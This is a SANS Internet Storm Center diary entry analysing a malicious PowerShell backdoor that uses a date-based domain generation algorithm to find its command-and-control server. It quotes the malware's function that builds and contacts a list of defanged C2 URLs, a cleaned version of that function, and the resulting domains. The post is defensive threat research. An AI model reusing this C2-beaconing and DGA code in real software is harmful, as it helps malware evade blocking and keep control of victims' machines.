Powershell Backdoor with DGA Capability - SANS ISC

By SANS Internet Storm Center

Archived: 2026-04-05 20:55:26 UTC

DGA (“Domain Generation Algorithm") is a popular tactic used by malware to make connections with their C2 more stealthy and difficult to block. The idea is to generate domain names periodically and use them during the defined period. An alternative is to generate a lot of domains and loop across them to find an available C2 server. Attackers just register a few domain names and can change them very quickly.

I found a simple malicious PowerShell script that implements a backdoor. The initial script (SHA256:74a441ef34775d4cdec676e06a669fa0594a8455a1d31f9d2a52e6ae5bc3aaba)[1] had a VT score of only 2/60. It contains the second stage, Base64-encoded. Once registered to the C2 server, it enters a loop and waits for commands from the C2.

Here is how DGA is implemented:

```
function zdiffvahs( $yyfhghws ){
  $jwusghd = "hxxp://kama[.]mialeeka[.]com/";
  "hee","xu1","hs0","jd5","mqf" | %{ $jwusghd += ","+"http://"+ ( [Convert]::ToBase64String( [System
  $jwusghd.split(",") | %{
    if( !$myurlpost ){
      $myurlpost = $_;
      if( !(sendpost2 ($yyfhghws + "&domen=$myurlpost" )) ){ $myurlpost = $false; };
      Start-Sleep -s 5;
    }
  };
  if( $yyfhghws -match "status=register" ){
    return "ok";
  }else{
    return $myurlpost;
  }
};
```

There is a first C2 address in clear text (kama[.]mialeeka[.]com), but others are created, and a comma-separated list is created. I made a clean version of this function:

```
function dgagen(){
  $domain = "hxxp://kama[.]mialeeka[.]com/";
  "hee","xu1","hs0","jd5","mqf" | %{ $domain += ","+"hxxp://"+ ( [Convert]::ToBase64String( [System.
  $domain.split(",") | %{
    echo $_;
```

```
  };
};
```

The generated list is:

```
PS C:\Users\xavier> dgagen
hxxp://kama[.]mialeeka[.]com/
hxxp://agvlmjixmdqx.top/
hxxp://ehuxmjixmdqx.top/
hxxp://ahmwmjixmdqx.top/
hxxp://amq1mjixmdqx.top/
hxxp://bxfmmjixmdqx.top/
```

Domains are generated by concatenating a small string with the current date ("%y%m%V" returns the current year, month, and week number). The string is Base64 encoded, and a common TLD (".top") is added. The script tries to contact them in a loop until a valid server is found.

At this time, the initial domain points to a Google Cloud. I checked the other domains against whois.nic.top, but they're not registered yet.

[1] https://www.virustotal.com/gui/file/74a441ef34775d4cdec676e06a669fa0594a8455a1d31f9d2a52e6ae5bc3aaba

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
